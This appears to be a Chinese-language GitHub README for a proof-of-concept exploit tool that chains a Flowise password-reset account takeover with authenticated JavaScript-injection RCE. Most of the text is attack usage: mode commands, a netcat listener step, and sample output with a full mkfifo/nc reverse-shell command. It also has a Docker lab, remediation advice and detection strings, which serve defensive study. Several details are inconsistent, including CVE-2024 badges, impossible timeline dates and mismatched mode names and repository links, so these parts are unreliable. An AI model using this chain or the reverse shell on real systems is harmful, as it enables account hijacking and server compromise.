0xDaeras/Flowise-CVE-2025-58434-Chain-59528

GitHub: 0xDaeras/Flowise-CVE-2025-58434-Chain-59528

针对 FlowiseAI 平台的未授权账户接管与认证后远程代码执行漏洞链 PoC,附带可复现的 Docker 实验环境。

Stars: 1 | Forks: 0

# FlowiseAI CVE 漏洞链 - ATO (CVE-2025-58434) 和 RCE (CVE-2025-59528) ![CVE-2025-58434](https://img.shields.io/badge/CVE-2024--58434-red?style=flat-square) ![CVSS-1](https://img.shields.io/badge/CVSS%20v3.1-9.8%20Critical-critical?style=flat-square) ![CVE-2025-59528](https://img.shields.io/badge/CVE-2024--59528-red?style=flat-square) ![CVSS-2](https://img.shields.io/badge/CVSS%20v3.1-10.0%20Critical-critical?style=flat-square) ![Python](https://img.shields.io/badge/Python-3.10%2B-blue?style=flat-square) ![License](https://img.shields.io/badge/License-MIT-green?style=flat-square) ## 目录 本仓库包含一个 Python 概念验证程序,用于将两个 Flowise 漏洞进行链式利用: - **CVE-2025-58434** — 通过暴露的密码重置 token 行为实现账户接管。 - **CVE-2025-59528** — 通过 CustomMCP 节点中不安全的 JavaScript 执行实现远程代码执行。 Flowise 是一个用于构建 LLM 应用程序和 AI 代理工作流的拖放式平台。CVE-2025-59528 影响 Flowise 3.0.5,并在 3.0.6 版本中修复。该问题源于 CustomMCP 节点内部对 `mcpServerConfig` 的不安全处理。CVE-2025-58434 与密码重置 token 暴露有关,同样在 Flowise 3.0.6 中得到修复。 该工具支持: - 漏洞检查 - 账户接管流程 - 登录并获取 Cookie - 认证后 RCE - 完整利用链模式:ATO → 登录 → RCE ## 漏洞详情 ### CVE-2025-58434 — 账户接管 - **CVE ID**: CVE-2025-58434 - **CVSS v3.1 评分**: 9.8 (严重) - **漏洞类型**: 账户接管 / 身份验证绕过 - **受影响产品**: Flowise - **受测试版本**: Flowise 3.0.5 - **修复版本**: Flowise 3.0.6 - **是否需要身份验证**: 否 - **影响**: 密码重置 token 泄露,账户接管 存在漏洞的密码重置流程会在 API 响应中暴露敏感的用户数据,包括临时的密码重置 token。知道有效用户电子邮件地址的攻击者可以请求密码重置,从响应中获取临时 token,并使用该 token 为账户设置新密码。 此漏洞行为影响 Flowise 云端以及暴露相同 API 接口的自托管/本地部署。修复建议是绝不在 API 响应中直接返回密码重置 token 或敏感的账户重置数据。 ### CVE-2025-59528 — 远程代码执行 - **CVE ID**: CVE-2025-59528 - **CVSS v3.1 评分**: 10.0 (严重) - **漏洞类型**: JavaScript 代码注入 / 远程代码执行 - **受影响产品**: Flowise - **受测试版本**: Flowise 3.0.5 - **修复版本**: Flowise 3.0.6 - **是否需要身份验证**: 是 - **影响**: 在 Node.js 运行时中执行任意 JavaScript 代码,在托管 Flowise 的服务器上实现 RCE 该漏洞存在于 Flowise 的 CustomMCP 节点中。`mcpServerConfig` 参数在 MCP 服务器配置过程中被解析,并在没有任何安全验证的情况下作为 JavaScript 代码进行求值。这允许经过身份验证的攻击者注入任意 JavaScript 代码,这些代码将在 Flowise 服务器的 Node.js 环境中执行。在 `convertToValidJSONString` 函数中,用户输入被传递给 `Function` 构造函数,该构造函数以完整的 Node.js 权限将输入作为 JavaScript 代码进行求值,从而允许访问 `child_process` 等模块来执行系统命令。 本 PoC 使用的受漏洞影响的端点为: ``` POST /api/v1/node-load-method/customMCP ``` 在 JSON 请求体的 `mcpServerConfig` 字段中包含 js 载荷,例如: ``` { "loadMethod": "listActions", "inputs": { "mcpServerConfig": "..." } } ``` 漏洞代码位于 `CustomMCP.ts` 文件中,并在针对该 CVE 的 [Github 维护者安全公告](https://github.com/advisories/GHSA-3gcm-f6qx-ff7p) 中被引用。 ## 攻击流程 ``` Attacker Flowise │ │ │ [CVE-2025-58434] │ │ POST /api/v1/account/forgot-password │ │ { email } │ │─────────────────────────────────────────►│ │◄─────────────────────────────────────────│ │ user object + tempToken │ │ │ │ POST /api/v1/account/reset-password │ │ { email, tempToken, newPassword } │ │─────────────────────────────────────────►│ │◄─────────────────────────────────────────│ │ password changed │ │ │ │ POST /api/v1/auth/login │ │ { email, newPassword } │ │─────────────────────────────────────────►│ │◄─────────────────────────────────────────│ │ token / refreshToken / connect.sid │ │ │ │ [CVE-2025-59528] │ │ POST /api/v1/node-load-method/customMCP │ │ mcpServerConfig= │ │─────────────────────────────────────────►│ │ JS evaluated in Node.js │ command executed │◄─────────────────────────────────────────│ │ command output or payload fired │ │ │ ✓ Account takeover + authenticated RCE ``` ## 仓库结构: ``` Repository Structure CVE-2025-58434-CVE-2025-59528/ ├── exploit.py ├── README.md ├── requirements.txt ├── docker-compose.yml └── logs/ ``` ## 安装说明 ### 工具 ``` git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git cd CVE-2025-58434-CVE-2025-59528-POC pip install -r requirements.txt ``` ### Docker 实验环境 ``` git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git cd CVE-2024-51482-POC cp .env.example .env # Configure environment variables docker-compose up -d ``` ## 使用说明 ### 默认行为 如果不加任何参数,该工具将运行完整的攻击链,检查目标漏洞,对提供的电子邮件执行账户接管,登录以获取 Cookie,然后使用反向 shell 载荷利用 RCE 漏洞。在以完整利用链模式执行工具之前,请运行一个专用的监听器(例如,`nc -lvnp 9889`)。 ``` python3 exploit.py --target http://localhost:3000 --email user@example.local --lhost attacker.local --lport 9889 ``` ### 帮助界面 ``` python3 exploit.py -h ``` ### 模式 #### check 模式 (check-mode) 执行版本检查以确定目标是否受 CVE-2025-58434 和 CVE-2025-59528 影响。它向目标的 API 发送请求并分析响应以识别 Flowise 版本及漏洞状态。 ``` python3 exploit.py --target http://localhost:3000 check ``` #### ato 模式 (ato-mode) 执行 CVE-2025-58434 的账户接管过程。它针对指定的电子邮件发送密码重置请求,从响应中检索临时 token,然后使用该 token 为账户设置新密码(默认:"Password123!")。 ``` python3 exploit.py --target http://localhost:3000 --email user@example.local ato-mode ``` #### login 模式 (login-mode) 使用指定的电子邮件和密码(默认:"Password123!")登录目标。如果成功,它将检索并显示身份验证 Cookie(例如,`connect.sid`)以用于后续的已认证请求。 ``` python3 exploit.py --target http://localhost:3000 --email user@example.local --password Password123! login-mode ``` #### rce 模式 (rce-mode) 通过向受漏洞影响的端点发送精心构造的 `mcpServerConfig` 载荷来利用 RCE 漏洞 (CVE-2025-59528)。该载荷旨在执行反向 shell 命令,该命令将回连到攻击者机器上指定的 LHOST 和 LPORT。如果未提供 token,将自动尝试登录并获取有效的 token 以进行利用。如果未提供 LHOST/LPORT,则默认执行一条简单的 `id` 命令载荷并在响应中返回输出。在以完整利用链模式执行工具之前,请运行一个专用的监听器(例如,`nc -lvnp 9889`)。 ``` python3 exploit.py --target http://localhost:3000 --email user@example.local --password Password123! --lhost attacker.local --lport 9889 rce-mode ``` #### full-chain 模式 (full-chain-mode) *默认模式。* 按顺序运行整个攻击链:检查漏洞,执行账户接管,登录以获取 Cookie,然后使用反向 shell 载荷利用 RCE 漏洞。在以完整利用链模式执行工具之前,请运行一个专用的监听器(例如,`nc -lvnp 9889`)。 ``` python3 exploit.py --target http://localhost:3000 --email user@example.local --lhost attacker.local --lport 9889 full-chain-mode ``` ### 参数参考 #### 目标与身份验证 | 参数 | 描述 | 示例 | | ---------------- | ----------------------------------- | ----------------------------- | | `-t`, `--target` | 目标基础 URL | `-t http://localhost:3000` | | `-e`, `--email` | 目标账户电子邮件 | `-e admin@example.com` | | `--password` | 用于 login/RCE 模式的已知密码 | `--password Password123!` | | `--token` | 现有的会话 token,跳过登录 | `--token eyJ...` | | `--new-password` | 在 ATO 期间设置的密码 | `--new-password Password123!` | #### 利用模式 | 模式 | 描述 | | ------------ | ------------------------------------------- | | `check` | 检查目标是否存在漏洞 | | `ato-mode` | 仅运行账户接管流程 | | `login-mode` | 登录并获取会话 Cookie | | `rce-mode` | 仅运行 RCE 流程 | | `full-mode` | 链式利用 ATO、登录和 RCE | #### RCE 选项 | 参数 | 描述 | 示例 | | ----------------- | ------------------------------- | -------------------- | | `-c`, `--command` | 要执行的自定义命令 | `-c 'id'` | | `--lhost` | 反向 shell 的监听主机 | `--lhost 10.10.14.3` | | `--lport` | 反向 shell 的监听端口 | `--lport 4444` | #### 安全与输出 | 参数 | 描述 | 默认值 | | ----------------- | -------------------------------- | ------------------ | | `--no-check` | 跳过版本/漏洞检查 | `False` | | `-v`, `--verbose` | 启用调试日志记录 | `False` | | `--log-file` | 日志文件路径 | `logs/exploit.log` | | `--no-color` | 禁用 ANSI 颜色 | `False` | ### 示例输出 ``` $ python3 exploit.py -t http://localhost:3000 -e user@example.local --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode ___________.__ .__ _________ .__ .__ \_ _____/| | ______ _ _|__| ______ ____ \_ ___ \| |__ _____ |__| ____ | __) | | / _ \ \/ \/ / |/ ___// __ \ / \ \/| | \\__ \ | |/ \ | \ | |_( <_> ) /| |\___ \\ ___/ \ \___| Y \/ __ \| | | \ \___ / |____/\____/ \/\_/ |__/____ >\___ > \______ /___| (____ /__|___| / \/ \/ \/ \/ \/ \/ \/ ──────────────────────────────────────────────────────────────────────────────── [∗] Target URL: http://localhost:3000 [∗] Module : full-mode [∗] Email : admin@example.local ──────────────────────────────────────────────────────────────────────────────── [∗] Checking for target vulnerability... [+] Target appears to be vulnerable. ──────────────────────────────────────────────────────────────────────────────── [∗] Starting Account Takeover (CVE-2025-58434)... [+] Password reset request sent successfully. [∗] Target user data : 🡪 ID : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD 🡪 Name : Lab Admin 🡪 Email : admin@example.local 🡪 Credential : $2a$10$lKbQNf8pVQXJFMzzW... 🡪 Status : active 🡪 Temp Token : AWtyV7mxIa6h12OhlB7H0mMl... 🡪 Token Expiry : 2026-05-08T19:37:47.025Z [∗] Attempting to reset password using the temporary token... [∗] New password : Password123! [+] Account takeover successful! New credentials: 🡪 Email : admin@example.local 🡪 Password : Password123! ──────────────────────────────────────────────────────────────────────────────── [∗] Starting login process to retrieve session cookies... [+] Login successful! [+] Retrieved session tokens : 🡪 Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV... 🡪 connect.sid : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G... 🡪 refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV... ──────────────────────────────────────────────────────────────────────────────── [∗] Starting Remote Code Execution (CVE-2025-59528)... [!] Make sure to have a listener ready if using a reverse shell command! [∗] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f [∗] Target URL: http://localhost:3000/api/v1/node-load-method/customMCP [∗] Sending payload to trigger RCE... [+] Payload sent. Check your listener for a reverse shell connection! ──────────────────────────────────────────────────────────────────────────────── [+] Work done. Bye! ``` ### Docker 实验环境 建议使用本地实验环境进行安全测试。 实验环境安装: ``` cp .env.example .env # Configure environment variables as needed docker compose up -d --build docker compose logs -f ``` 默认创建两个 Flowise 账户: - 管理员:电子邮件为 `admin@example.local`,密码在容器启动时随机生成(请检查日志以获取密码)。 - 普通用户:电子邮件为 `user@example.local`,密码在容器启动时随机生成,但不会出现在日志中。这是 ATO 流程的预期目标。 针对本地实例运行 PoC: ``` python3 exploit.py \ -t http://localhost:3000 \ -e user@example.com \ --new-password 'Password123!' \ --no-check \ full-mode ``` 要检查 Flowise 日志: ``` docker compose logs -f flowise-cve-lab ``` 或者: ``` docker logs -f flowise-cve-lab ``` ## 修复建议 ### 一般建议 #### 针对 CVE-2025-58434 - 将 Flowise 升级到 3.0.6 或更高版本。 - 绝不在 API 响应中返回密码重置 token。 - 仅通过已注册的电子邮件渠道传递重置 token。 - 重置 token 在单次使用后立即失效。 - 为密码重置端点添加严格的过期时间和速率限制。 #### 针对 CVE-2025-59528 - 将 Flowise 升级到 3.0.6 或更高版本。 - 避免将用户控制的配置作为 JavaScript 执行。 - 移除不安全的 Function、eval 或等效的动态执行模式。 - 将 MCP 配置作为严格的数据进行验证和解析,而不是可执行代码。 ### 检测思路 潜在的被利用指标: - 对 `/api/v1/node-load-method/customMCP` 的请求 - 包含类似 JavaScript 语法的可疑 `mcpServerConfig` 值。 - 诸如以下的字符串:`process.mainModule`、`child_process`、`execSync`、`Buffer.from`、`Function` - 密码重置请求之后紧跟着立即登录并访问 CustomMCP。 - 来自 Flowise 容器或主机的出站连接。 ## 漏洞披露时间线 - *2025-12-09*: CVE-2025-58434 由用户 [zaddy6](https://github.com/zaddy6) 和 [arthurgervais](https://github.com/arthurgervais) 在 [Github Advisories](https://github.com/advisories/GHSA-wgpv-6j63-x5ph) 上披露,并附带了详细报告和 PoC。 - *2025-13-09*: CVE-2025-59528 由用户 [im-soohyun](https://github.com/im-soohyun) 在 [Github Advisories](https://github.com/advisories/GHSA-3gcm-f6qx-ff7p) 上披露,并附带了详细报告和 PoC。 - *2025-15-09*: 两个 CVE 均在 Flowise 3.0.6 中修复,发布于 [Github](https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6)。 ## 免责声明 本项目仅用于教育目的、实验室测试和授权的安全研究。 您有责任确保在对任何系统运行此工具之前已获得明确许可。作者不对使用本代码进行的滥用、损害或非法活动承担责任。在进行安全测试时,请始终遵循道德准则和法律规定。 ## 参考文献 - [CVE-2025-58434](https://www.cve.org/CVERecord?id=CVE-2025-58434) - [CVE-2025-59528](https://www.cve.org/CVERecord?id=CVE-2025-59528) - [Flowise GitHub 仓库](https://github.com/FlowiseAI/Flowise) - [针对 CVE-2025-58434 的 Flowise 维护者安全公告](https://github.com/advisories/GHSA-wgpv-6j63-x5ph) - [针对 CVE-2025-59528 的 Flowise 维护者安全公告](https://github.com/advisories/GHSA-3gcm-f6qx-ff7p) - [Flowise 3.0.6 发布说明](https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6)
标签:AI代理工作流, CISA项目, CustomMCP节点, CVE-2025-58434, CVE-2025-59528, CVSS 10.0, CVSS 9.8, Docker靶场, FlowiseAI, Go语言工具, JavaScript代码注入, MITM代理, PoC, Python, 安全漏洞, 无后门, 暴力破解, 未授权账户接管, 漏洞复现, 版权保护, 编程工具, 请求拦截, 身份验证绕过, 远程代码执行, 逆向工具, 重置令牌泄露